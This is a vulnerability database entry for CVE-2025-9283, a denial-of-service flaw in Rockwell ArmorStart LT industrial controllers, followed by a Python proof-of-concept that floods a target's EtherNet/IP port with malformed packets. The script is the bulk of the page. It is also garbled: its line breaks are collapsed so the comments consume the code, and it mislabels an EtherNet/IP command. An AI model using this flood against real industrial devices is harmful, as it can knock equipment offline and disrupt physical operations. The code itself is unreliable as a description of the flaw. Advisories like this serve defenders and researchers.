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CVE-2025-9283 CVSS 7.5 HIGH

CVE-2025-9283

Published: 2026-01-20 14:16:14
Last Modified: 2026-02-02 18:08:52

Description

A security issue exists within ArmorStart® LT that can result in a denial-of-service condition. During execution of the Achilles EtherNet/IP Step Limits Storms tests, the device reboots unexpectedly, causing the Link State Monitor to go down for several seconds.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:rockwellautomation:armorstart_lt_firmware:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:rockwellautomation:armorstart_lt:-:*:*:*:*:*:*:* - NOT VULNERABLE
Rockwell Automation ArmorStart LT (all versions prior to vendor fix)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # CVE-2025-9283 PoC - ArmorStart LT DoS # Description: Send malformed EtherNet/IP packets to trigger reboot import socket import struct import time def create_ethernet_ip_packet(): """Create a malformed EtherNet/IP packet for testing""" # EtherNet/IP Header command = 0x0066 # CIP Forward Open length = 0x0028 session = 0x00000001 status = 0x00000000 sender_context = b'\x00' * 8 options = 0x00000000 header = struct.pack('<HHII', command, length, session, status) header += sender_context header += struct.pack('<I', options) # CIP Command Specific Data (malformed for DoS) cip_data = b'\x00' * 40 # Malformed CIP data packet = header + cip_data return packet def send_flood(target_ip, target_port=44818, duration=30): """Send EtherNet/IP packets to target""" print(f"[*] Starting DoS test against {target_ip}:{target_port}") print(f"[*] Duration: {duration} seconds") sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) start_time = time.time() packet_count = 0 try: while time.time() - start_time < duration: packet = create_ethernet_ip_packet() sock.sendto(packet, (target_ip, target_port)) packet_count += 1 time.sleep(0.01) # Rate limiting if packet_count % 100 == 0: print(f"[*] Sent {packet_count} packets...") except KeyboardInterrupt: print("\n[!] Test interrupted by user") finally: sock.close() print(f"[*] Test completed. Total packets sent: {packet_count}") if __name__ == "__main__": import sys if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [duration]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 44818 duration = int(sys.argv[3]) if len(sys.argv) > 3 else 30 send_flood(target, port, duration) # Note: This PoC is for authorized security testing only

References

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